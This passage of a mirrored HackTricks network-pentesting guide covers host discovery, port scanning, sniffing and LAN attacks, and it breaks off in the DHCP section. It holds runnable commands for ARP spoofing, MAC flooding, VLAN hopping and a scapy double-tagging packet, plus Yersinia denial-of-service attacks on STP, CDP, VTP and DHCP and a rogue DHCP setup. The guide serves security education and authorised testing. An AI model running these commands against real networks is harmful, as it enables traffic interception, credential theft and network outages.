mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
934 lines
49 KiB
Markdown
934 lines
49 KiB
Markdown
# Pentesting Network
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
|
||
|
||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||
|
||
## Discovering hosts from the outside
|
||
|
||
This is going to be a **brief section** about how to find **IPs responding** from the **Internet**.\
|
||
In this situation you have some **scope of IPs** (maybe even several **ranges**) and you just to find **which IPs are responding**.
|
||
|
||
### ICMP
|
||
|
||
This is the **easiest** and **fastest** way to discover if a host is up or not.\
|
||
You could try to send some **ICMP** packets and **expect responses**. The easiest way is just sending an **echo request** and expect from the response. You can do that using a simple `ping`or using `fping`for **ranges**.\
|
||
You could also use **nmap** to send other types of ICMP packets (this will avoid filters to common ICMP echo request-response).
|
||
|
||
```bash
|
||
ping -c 1 199.66.11.4 # 1 echo request to a host
|
||
fping -g 199.66.11.0/24 # Send echo requests to ranges
|
||
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
|
||
```
|
||
|
||
### TCP Port Discovery
|
||
|
||
It's very common to find that all kind of ICMP packets are being filtered. Then, all you can do to check if a host is up is **try to find open ports**. Each host has **65535 ports**, so, if you have a "big" scope you **cannot** test if **each port** of each host is open or not, that will take too much time.\
|
||
Then, what you need is a **fast port scanner** ([masscan](https://github.com/robertdavidgraham/masscan)) and a list of the **ports more used:**
|
||
|
||
```bash
|
||
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
|
||
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
|
||
```
|
||
|
||
You could also perform this step with `nmap`, but it slower and somewhat `nmap`has problems identifying hosts up.
|
||
|
||
### HTTP Port Discovery
|
||
|
||
This is just a TCP port discovery useful when you want to **focus on discovering HTTP** **services**:
|
||
|
||
```bash
|
||
masscan -p80,443,8000-8100,8443 199.66.11.0/24
|
||
```
|
||
|
||
### UDP Port Discovery
|
||
|
||
You could also try to check for some **UDP port open** to decide if you should **pay more attention** to a **host.** As UDP services usually **don't respond** with **any data** to a regular empty UDP probe packet it is difficult to say if a port is being filtered or open. The easiest way to decide this is to send a packet related to the running service, and as you don't know which service is running, you should try the most probable based on the port number:
|
||
|
||
```bash
|
||
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||
# The -sV will make nmap test each possible known UDP service packet
|
||
# The "--version-intensity 0" will make nmap only test the most probable
|
||
```
|
||
|
||
The nmap line proposed before will test the **top 1000 UDP ports** in every host inside the **/24** range but even only this will take **>20min**. If need **fastest results** you can use [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` This will send these **UDP probes** to their **expected port** (for a /24 range this will just take 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||
|
||
### SCTP Port Discovery
|
||
|
||
```bash
|
||
#Probably useless, but it's pretty fast, why not try it?
|
||
nmap -T4 -sY -n --open -Pn <IP/range>
|
||
```
|
||
|
||
## Pentesting Wifi
|
||
|
||
Here you can find a nice guide of all the well known Wifi attacks at the time of the writing:
|
||
|
||
{% content-ref url="../pentesting-wifi/" %}
|
||
[pentesting-wifi](../pentesting-wifi/)
|
||
{% endcontent-ref %}
|
||
|
||
## Discovering hosts from the inside
|
||
|
||
If you are inside the network one of the first things you will want to do is to **discover other hosts**. Depending on **how much noise** you can/want to do, different actions could be performed:
|
||
|
||
### Passive
|
||
|
||
You can use these tools to passively discover hosts inside a connected network:
|
||
|
||
```bash
|
||
netdiscover -p
|
||
p0f -i eth0 -p -o /tmp/p0f.log
|
||
# Bettercap
|
||
net.recon on/off #Read local ARP cache periodically
|
||
net.show
|
||
set net.show.meta true #more info
|
||
```
|
||
|
||
### Active
|
||
|
||
Note that the techniques commented in [_**Discovering hosts from the outside**_](./#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) can be also **applied here**.\
|
||
But, as you are in the **same network** as the other hosts, you can do **more things**:
|
||
|
||
```bash
|
||
#ARP discovery
|
||
nmap -sn <Network> #ARP Requests (Discover IPs)
|
||
netdiscover -r <Network> #ARP requests (Discover IPs)
|
||
|
||
#NBT discovery
|
||
nbtscan -r 192.168.0.1/24 #Search in Domain
|
||
|
||
# Bettercap
|
||
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
|
||
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
|
||
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
|
||
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
|
||
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
|
||
set net.probe.throttle 10 #10ms between probes sent (default=10)
|
||
|
||
#IPv6
|
||
alive6 <IFACE> # Send a pingv6 to multicast.
|
||
```
|
||
|
||
### Active ICMP
|
||
|
||
Note that the techniques commented in _Discovering hosts from the outside_ ([_**ICMP**_](./#icmp)) can be also **applied here**.\
|
||
But, as you are in the **same network** as the other hosts, you can do **more things**:
|
||
|
||
* If you **ping** a **subnet broadcast address** the ping should be arrive to **each host** and they could **respond** to **you**: `ping -b 10.10.5.255`
|
||
* Pinging the **network broadcast address** you could even find hosts inside **other subnets**: `ping -b 255.255.255.255`
|
||
* Use the `-PE`, `-PP`, `-PM` flags of `nmap`to perform host discovery sending respectively **ICMPv4 echo**, **timestamp**, and **subnet mask requests:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||
|
||
### **Wake On Lan**
|
||
|
||
Wake On Lan is used to **turn on** computers through a **network message**. The magic packet used to turn on the computer is only a packet where a **MAC Dst** is provided and then it is **repeated 16 times** inside the same paket.\
|
||
Then this kind of packets are usually sent in an **ethernet 0x0842** or in a **UDP packet to port 9**.\
|
||
If **no \[MAC]** is provided, the packet is sent to **broadcast ethernet** (and the broadcast MAC will be the one being repeated).
|
||
|
||
```bash
|
||
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
|
||
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
|
||
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
|
||
```
|
||
|
||
## Scanning Hosts
|
||
|
||
Once you have discovered all the IPs (external or internal) you want to scan in depth, different actions can be performed.
|
||
|
||
### TCP
|
||
|
||
* **Open** port: _SYN --> SYN/ACK --> RST_
|
||
* **Closed** port: _SYN --> RST/ACK_
|
||
* **Filtered** port: _SYN --> \[NO RESPONSE]_
|
||
* **Filtered** port: _SYN --> ICMP message_
|
||
|
||
```bash
|
||
# Nmap fast scan for the most 1000tcp ports used
|
||
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
|
||
# Nmap fast scan for all the ports
|
||
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
|
||
# Nmap fast scan for all the ports slower to avoid failures due to -T4
|
||
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>
|
||
|
||
#Bettercap Scan
|
||
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
|
||
```
|
||
|
||
### UDP
|
||
|
||
There are 2 options to scan an UDP port:
|
||
|
||
* Send a **UDP packet** and check for the response _**ICMP unreachable**_ if the port is **closed** (in several cases ICMP will be **filtered** so you won't receive any information inf the port is close or open).
|
||
* Send a **formatted datagrams** to elicit a response from a **service** (e.g., DNS, DHCP, TFTP, and others, as listed in _nmap-payloads_). If you receive a **response**, then, the port is **open**.
|
||
|
||
**Nmap** will **mix both** options using "-sV" (UDP scans are very slow), but notice that UDP scans are slower than TCP scans:
|
||
|
||
```bash
|
||
# Check if any of the most common udp services is running
|
||
udp-proto-scanner.pl <IP>
|
||
# Nmap fast check if any of the 100 most common UDP services is running
|
||
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
|
||
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
|
||
nmap -sU -sV -sC -n -F -T4 <IP>
|
||
# Nmap "fast" top 1000 UDP ports
|
||
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
|
||
# You could use nmap to test all the UDP ports, but that will take a lot of time
|
||
```
|
||
|
||
### SCTP Scan
|
||
|
||
**SCTP (Stream Control Transmission Protocol)** is designed to be used alongside **TCP (Transmission Control Protocol)** and **UDP (User Datagram Protocol)**. Its main purpose is to facilitate the transport of telephony data over IP networks, mirroring many of the reliability features found in **Signaling System 7 (SS7)**. **SCTP** is a core component of the **SIGTRAN** protocol family, which aims to transport SS7 signals over IP networks.
|
||
|
||
The support for **SCTP** is provided by various operating systems, such as **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, and **VxWorks**, indicating its broad acceptance and utility in the field of telecommunication and networking.
|
||
|
||
Two different scans for SCTP are offered by nmap: _-sY_ and _-sZ_
|
||
|
||
```bash
|
||
# Nmap fast SCTP scan
|
||
nmap -T4 -sY -n -oA SCTFastScan <IP>
|
||
# Nmap all SCTP scan
|
||
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
|
||
```
|
||
|
||
### IDS and IPS evasion
|
||
|
||
{% content-ref url="ids-evasion.md" %}
|
||
[ids-evasion.md](ids-evasion.md)
|
||
{% endcontent-ref %}
|
||
|
||
### **More nmap options**
|
||
|
||
{% content-ref url="nmap-summary-esp.md" %}
|
||
[nmap-summary-esp.md](nmap-summary-esp.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Revealing Internal IP Addresses
|
||
|
||
**Misconfigured routers, firewalls, and network devices** sometimes respond to network probes using **nonpublic source addresses**. **tcpdump** can be utilized to identify packets received from private addresses during testing. Specifically, on Kali Linux, packets can be captured on the **eth2 interface**, which is accessible from the public Internet. It's important to note that if your setup is behind a NAT or a Firewall, such packets are likely to be filtered out.
|
||
|
||
```bash
|
||
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
|
||
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
|
||
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
|
||
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
|
||
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
|
||
```
|
||
|
||
## Sniffing
|
||
|
||
Sniffing you can learn details of IP ranges, subnet sizes, MAC addresses, and hostnames by reviewing captured frames and packets. If the network is misconfigured or switching fabric under stress, attackers can capture sensitive material via passive network sniffing.
|
||
|
||
If a switched Ethernet network is configured properly, you will only see broadcast frames and material destined for your MAC address.
|
||
|
||
### TCPDump
|
||
|
||
```bash
|
||
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
|
||
tcpdump -i <IFACE> icmp #Listen to icmp packets
|
||
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
|
||
```
|
||
|
||
One can, also, capture packets from a remote machine over an SSH session with Wireshark as the GUI in realtime.
|
||
|
||
```
|
||
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
|
||
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
|
||
```
|
||
|
||
### Bettercap
|
||
|
||
```bash
|
||
net.sniff on
|
||
net.sniff stats
|
||
set net.sniff.output sniffed.pcap #Write captured packets to file
|
||
set net.sniff.local #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
|
||
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
|
||
set net.sniff.regexp #If set only packets matching this regex will be considered
|
||
```
|
||
|
||
### Wireshark
|
||
|
||
Obviously.
|
||
|
||
### Capturing credentials
|
||
|
||
You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface.
|
||
|
||
## LAN attacks
|
||
|
||
### ARP spoofing
|
||
|
||
ARP Spoofing consist on sending gratuitous ARPResponses to indicate that the IP of a machine has the MAC of our device. Then, the victim will change the ARP table and will contact our machine every time it wants to contact the IP spoofed.
|
||
|
||
#### **Bettercap**
|
||
|
||
```bash
|
||
arp.spoof on
|
||
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
|
||
set arp.spoof.whitelist #Specific targets to skip while spoofing
|
||
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
|
||
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
|
||
```
|
||
|
||
#### **Arpspoof**
|
||
|
||
```bash
|
||
echo 1 > /proc/sys/net/ipv4/ip_forward
|
||
arpspoof -t 192.168.1.1 192.168.1.2
|
||
arpspoof -t 192.168.1.2 192.168.1.1
|
||
```
|
||
|
||
### MAC Flooding - CAM overflow
|
||
|
||
Overflow the switch’s CAM table sending a lot of packets with different source mac address. When the CAM table is full the switch start behaving like a hub (broadcasting all the traffic).
|
||
|
||
```bash
|
||
macof -i <interface>
|
||
```
|
||
|
||
In modern switches this vulnerability has been fixed.
|
||
|
||
### 802.1Q VLAN / DTP Attacks
|
||
|
||
#### Dynamic Trunking
|
||
|
||
The **Dynamic Trunking Protocol (DTP)** is designed as a link layer protocol to facilitate an automatic system for trunking, allowing switches to automatically select ports for trunk mode (Trunk) or non-trunk mode. The deployment of **DTP** is often seen as indicative of suboptimal network design, underscoring the importance of manually configuring trunks only where necessary and ensuring proper documentation.
|
||
|
||
By default, switch ports are set to operate in Dynamic Auto mode, meaning they are ready to initiate trunking if prompted by a neighboring switch. A security concern arises when a pentester or attacker connects to the switch and sends a DTP Desirable frame, compelling the port to enter trunk mode. This action enables the attacker to enumerate VLANs through STP frame analysis and circumvent VLAN segmentation by setting up virtual interfaces.
|
||
|
||
The presence of DTP in many switches by default can be exploited by adversaries to mimic a switch's behavior, thereby gaining access to traffic across all VLANs. The script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) is utilized to monitor an interface, revealing whether a switch is in Default, Trunk, Dynamic, Auto, or Access mode—the latter being the only configuration immune to VLAN hopping attacks. This tool assesses the switch's vulnerability status.
|
||
|
||
Should network vulnerability be identified, the _**Yersinia**_ tool can be employed to "enable trunking" via the DTP protocol, allowing for the observation of packets from all VLANs.
|
||
|
||
```bash
|
||
apt-get install yersinia #Installation
|
||
sudo apt install kali-linux-large #Another way to install it in Kali
|
||
yersinia -I #Interactive mode
|
||
#In interactive mode you will need to select a interface first
|
||
#Then, you can select the protocol to attack using letter "g"
|
||
#Finally, you can select the attack using letter "x"
|
||
|
||
yersinia -G #For graphic mode
|
||
```
|
||
|
||
.png>)
|
||
|
||
To enumerate the VLANs it's also possible to generate the DTP Desirable frame with the script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. D**o not interrupt the script under any circumstances. It injects DTP Desirable every three seconds. **The dynamically created trunk channels on the switch only live for five minutes. After five minutes, the trunk falls off.**
|
||
|
||
```
|
||
sudo python3 DTPHijacking.py --interface eth0
|
||
```
|
||
|
||
I would like to point out that **Access/Desirable (0x03)** indicates that the DTP frame is of the Desirable type, which tells the port to switch to Trunk mode. And **802.1Q/802.1Q (0xa5**) indicates the **802.1Q** encapsulation type.
|
||
|
||
By analyzing the STP frames, **we learn about the existence of VLAN 30 and VLAN 60.**
|
||
|
||
<figure><img src="../../.gitbook/assets/image (124).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
#### Attacking specific VLANs
|
||
|
||
Once you known VLAN IDs and IPs values, you can **configure a virtual interface to attack a specific VLAN**.\
|
||
If DHCP is not available, then use _ifconfig_ to set a static IP address.
|
||
|
||
```
|
||
root@kali:~# modprobe 8021q
|
||
root@kali:~# vconfig add eth1 250
|
||
Added VLAN with VID == 250 to IF -:eth1:-
|
||
root@kali:~# dhclient eth1.250
|
||
Reloading /etc/samba/smb.conf: smbd only.
|
||
root@kali:~# ifconfig eth1.250
|
||
eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65
|
||
inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0
|
||
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
|
||
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
|
||
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
|
||
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
|
||
collisions:0 txqueuelen:0
|
||
RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)
|
||
|
||
root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
|
||
```
|
||
|
||
```bash
|
||
# Another configuration example
|
||
modprobe 8021q
|
||
vconfig add eth1 20
|
||
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
|
||
```
|
||
|
||
```bash
|
||
# Another configuration example
|
||
sudo vconfig add eth0 30
|
||
sudo ip link set eth0.30 up
|
||
sudo dhclient -v eth0.30
|
||
```
|
||
|
||
#### Automatic VLAN Hopper
|
||
|
||
The discussed attack of **Dynamic Trunking and creating virtual interfaces an discovering hosts inside** other VLANs are **automatically performed** by the tool: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
|
||
|
||
#### Double Tagging
|
||
|
||
If an attacker knows the value of the **MAC, IP and VLAN ID of the victim host**, he could try to **double tag a frame** with its designated VLAN and the VLAN of the victim and send a packet. As the **victim won't be able to connect back** with the attacker, so the **best option for the attacker is communicate via UDP** to protocols that can perform some interesting actions (like SNMP).
|
||
|
||
Another option for the attacker is to launch a **TCP port scan spoofing an IP controlled by the attacker and accessible by the victim** (probably through internet). Then, the attacker could sniff in the second host owned by him if it receives some packets from the victim.
|
||
|
||
.png>)
|
||
|
||
To perform this attack you could use scapy: `pip install scapy`
|
||
|
||
```python
|
||
from scapy.all import *
|
||
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
|
||
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
|
||
sendp(packet)
|
||
```
|
||
|
||
#### Lateral VLAN Segmentation Bypass <a href="#d679" id="d679"></a>
|
||
|
||
If you have **access to a switch that you are directly connected to**, you have the ability to **bypass VLAN segmentation** within the network. Simply **switch the port to trunk mode** (otherwise known as trunk), create virtual interfaces with the IDs of the target VLANs, and configure an IP address. You can try requesting the address dynamically (DHCP) or you can configure it statically. It depends on the case.
|
||
|
||
{% content-ref url="lateral-vlan-segmentation-bypass.md" %}
|
||
[lateral-vlan-segmentation-bypass.md](lateral-vlan-segmentation-bypass.md)
|
||
{% endcontent-ref %}
|
||
|
||
#### Layer 3 Private VLAN Bypass
|
||
|
||
In certain environments, such as guest wireless networks, **port isolation (also known as private VLAN)** settings are implemented to prevent clients connected to a wireless access point from directly communicating with each other. However, a technique has been identified that can circumvent these isolation measures. This technique exploits either the lack of network ACLs or their improper configuration, enabling IP packets to be routed through a router to reach another client on the same network.
|
||
|
||
The attack is executed by creating a **packet that carries the IP address of the destination client but with the router's MAC address**. This causes the router to mistakenly forward the packet to the target client. This approach is similar to that used in Double Tagging Attacks, where the ability to control a host accessible to the victim is used to exploit the security flaw.
|
||
|
||
**Key Steps of the Attack:**
|
||
|
||
1. **Crafting a Packet:** A packet is specially crafted to include the target client's IP address but with the router's MAC address.
|
||
2. **Exploiting Router Behavior:** The crafted packet is sent up to the router, which, due to the configuration, redirects the packet to the target client, bypassing the isolation provided by private VLAN settings.
|
||
|
||
### VTP Attacks
|
||
|
||
VTP (VLAN Trunking Protocol) centralizes VLAN management. It utilizes revision numbers to maintain VLAN database integrity; any modification increments this number. Switches adopt configurations with higher revision numbers, updating their own VLAN databases.
|
||
|
||
#### VTP Domain Roles
|
||
|
||
* **VTP Server:** Manages VLANs—creates, deletes, modifies. It broadcasts VTP announcements to domain members.
|
||
* **VTP Client:** Receives VTP announcements to synchronize its VLAN database. This role is restricted from local VLAN configuration modifications.
|
||
* **VTP Transparent:** Doesn't engage in VTP updates but forwards VTP announcements. Unaffected by VTP attacks, it maintains a constant revision number of zero.
|
||
|
||
#### VTP Advertisement Types
|
||
|
||
* **Summary Advertisement:** Broadcasted by the VTP server every 300 seconds, carrying essential domain information.
|
||
* **Subset Advertisement:** Sent following VLAN configuration changes.
|
||
* **Advertisement Request:** Issued by a VTP client to request a Summary Advertisement, typically in response to detecting a higher configuration revision number.
|
||
|
||
VTP vulnerabilities are exploitable exclusively via trunk ports as VTP announcements circulate solely through them. Post-DTP attack scenarios might pivot towards VTP. Tools like Yersinia can facilitate VTP attacks, aiming to wipe out the VLAN database, effectively disrupting the network.
|
||
|
||
Note: This discussion pertains to VTP version 1 (VTPv1).
|
||
|
||
````bash
|
||
%% yersinia -G # Launch Yersinia in graphical mode ```
|
||
````
|
||
|
||
In Yersinia's graphical mode, choose the deleting all VTP vlans option to purge the VLAN database.
|
||
|
||
### STP Attacks
|
||
|
||
**If you cannot capture BPDU frames on your interfaces, it is unlikely that you will succeed in an STP attack.**
|
||
|
||
#### **STP BPDU DoS**
|
||
|
||
Sending a lot of BPDUs TCP (Topology Change Notification) or Conf (the BPDUs that are sent when the topology is created) the switches are overloaded and stop working correctly.
|
||
|
||
```bash
|
||
yersinia stp -attack 2
|
||
yersinia stp -attack 3
|
||
#Use -M to disable MAC spoofing
|
||
```
|
||
|
||
#### **STP TCP Attack**
|
||
|
||
When a TCP is sent, the CAM table of the switches will be deleted in 15s. Then, if you are sending continuously this kind of packets, the CAM table will be restarted continuously (or every 15segs) and when it is restarted, the switch behaves as a hub
|
||
|
||
```bash
|
||
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
|
||
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
|
||
```
|
||
|
||
#### **STP Root Attack**
|
||
|
||
The attacker simulates the behaviour of a switch to become the STP root of the network. Then, more data will pass through him. This is interesting when you are connected to two different switches.\
|
||
This is done by sending BPDUs CONF packets saying that the **priority** value is less than the actual priority of the actual root switch.
|
||
|
||
```bash
|
||
yersinia stp -attack 4 #Behaves like the root switch
|
||
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
|
||
```
|
||
|
||
**If the attacker is connected to 2 switches he can be the root of the new tree and all the traffic between those switches will pass through him** (a MITM attack will be performed).
|
||
|
||
```bash
|
||
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
|
||
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
|
||
```
|
||
|
||
### CDP Attacks
|
||
|
||
CISCO Discovery Protocol (CDP) is essential for communication between CISCO devices, allowing them to **identify each other and share configuration details**.
|
||
|
||
#### Passive Data Collection <a href="#id-0e0f" id="id-0e0f"></a>
|
||
|
||
CDP is configured to broadcast information through all ports, which might lead to a security risk. An attacker, upon connecting to a switch port, could deploy network sniffers like **Wireshark**, **tcpdump**, or **Yersinia**. This action can reveal sensitive data about the network device, including its model and the version of Cisco IOS it runs. The attacker might then target specific vulnerabilities in the identified Cisco IOS version.
|
||
|
||
#### Inducing CDP Table Flooding <a href="#id-0d6a" id="id-0d6a"></a>
|
||
|
||
A more aggressive approach involves launching a Denial of Service (DoS) attack by overwhelming the switch's memory, pretending to be legitimate CISCO devices. Below is the command sequence for initiating such an attack using Yersinia, a network tool designed for testing:
|
||
|
||
```bash
|
||
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
|
||
# Alternatively, for a GUI approach:
|
||
sudo yersinia -G
|
||
```
|
||
|
||
During this attack, the switch's CPU and CDP neighbor table are heavily burdened, leading to what is often referred to as **“network paralysis”** due to the excessive resource consumption.
|
||
|
||
#### CDP Impersonation Attack
|
||
|
||
```bash
|
||
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
|
||
sudo yersinia cdp -attack 0 #Send a CDP packet
|
||
```
|
||
|
||
You could also use [**scapy**](https://github.com/secdev/scapy/). Be sure to install it with `scapy/contrib` package.
|
||
|
||
### VoIP Attacks and the VoIP Hopper Tool
|
||
|
||
VoIP phones, increasingly integrated with IoT devices, offer functionalities like unlocking doors or controlling thermostats through special phone numbers. However, this integration can pose security risks.
|
||
|
||
The tool [**voiphopper**](http://voiphopper.sourceforge.net) is designed to emulate a VoIP phone in various environments (Cisco, Avaya, Nortel, Alcatel-Lucent). It discovers the voice network's VLAN ID using protocols like CDP, DHCP, LLDP-MED, and 802.1Q ARP.
|
||
|
||
**VoIP Hopper** offers three modes for the Cisco Discovery Protocol (CDP):
|
||
|
||
1. **Sniff Mode** (`-c 0`): Analyzes network packets to identify the VLAN ID.
|
||
2. **Spoof Mode** (`-c 1`): Generates custom packets mimicking those of an actual VoIP device.
|
||
3. **Spoof with Pre-made Packet Mode** (`-c 2`): Sends packets identical to those of a specific Cisco IP phone model.
|
||
|
||
The preferred mode for speed is the third one. It requires specifying:
|
||
|
||
* The attacker's network interface (`-i` parameter).
|
||
* The name of the VoIP device being emulated (`-E` parameter), adhering to the Cisco naming format (e.g., SEP followed by a MAC address).
|
||
|
||
In corporate settings, to mimic an existing VoIP device, one might:
|
||
|
||
* Inspect the MAC label on the phone.
|
||
* Navigate the phone's display settings to view model information.
|
||
* Connect the VoIP device to a laptop and observe CDP requests using Wireshark.
|
||
|
||
An example command to execute the tool in the third mode would be:
|
||
|
||
```bash
|
||
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
|
||
```
|
||
|
||
### DHCP Attacks
|
||
|
||
#### Enumeration
|
||
|
||
```bash
|
||
nmap --script broadcast-dhcp-discover
|
||
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
|
||
WARNING: No targets were specified, so 0 hosts scanned.
|
||
Pre-scan script results:
|
||
| broadcast-dhcp-discover:
|
||
| Response 1 of 1:
|
||
| IP Offered: 192.168.1.250
|
||
| DHCP Message Type: DHCPOFFER
|
||
| Server Identifier: 192.168.1.1
|
||
| IP Address Lease Time: 1m00s
|
||
| Subnet Mask: 255.255.255.0
|
||
| Router: 192.168.1.1
|
||
| Domain Name Server: 192.168.1.1
|
||
|_ Domain Name: mynet
|
||
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
|
||
```
|
||
|
||
**DoS**
|
||
|
||
**Two types of DoS** could be performed against DHCP servers. The first one consists on **simulate enough fake hosts to use all the possible IP addresses**.\
|
||
This attack will work only if you can see the responses of the DHCP server and complete the protocol (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). For example, this is **not possible in Wifi networks**.
|
||
|
||
Another way to perform a DHCP DoS is to send a **DHCP-RELEASE packet using as source code every possible IP**. Then, the server will think that everybody has finished using the IP.
|
||
|
||
```bash
|
||
yersinia dhcp -attack 1
|
||
yersinia dhcp -attack 3 #More parameters are needed
|
||
```
|
||
|
||
A more automatic way of doing this is using the tool [DHCPing](https://github.com/kamorin/DHCPig)
|
||
|
||
You could use the mentioned DoS attacks to force clients to obtain new leases within the environment, and exhaust legitimate servers so that they become unresponsive. So when the legitimate try to reconnect, **you can server malicious values mentioned in the next attack**.
|
||
|
||
#### Set malicious values
|
||
|
||
A rogue DHCP server can be set up using the DHCP script located at `/usr/share/responder/DHCP.py`. This is useful for network attacks, like capturing HTTP traffic and credentials, by redirecting traffic to a malicious server. However, setting a rogue gateway is less effective since it only allows capturing outbound traffic from the client, missing the responses from the real gateway. Instead, setting up a rogue DNS or WPAD server is recommended for a more effective attack.
|
||
|
||
Below are the command options for configuring the rogue DHCP server:
|
||
|
||
* **Our IP Address (Gateway Advertisement)**: Use `-i 10.0.0.100` to advertise your machine's IP as the gateway.
|
||
* **Local DNS Domain Name**: Optionally, use `-d example.org` to set a local DNS domain name.
|
||
* **Original Router/Gateway IP**: Use `-r 10.0.0.1` to specify the IP address of the legitimate router or gateway.
|
||
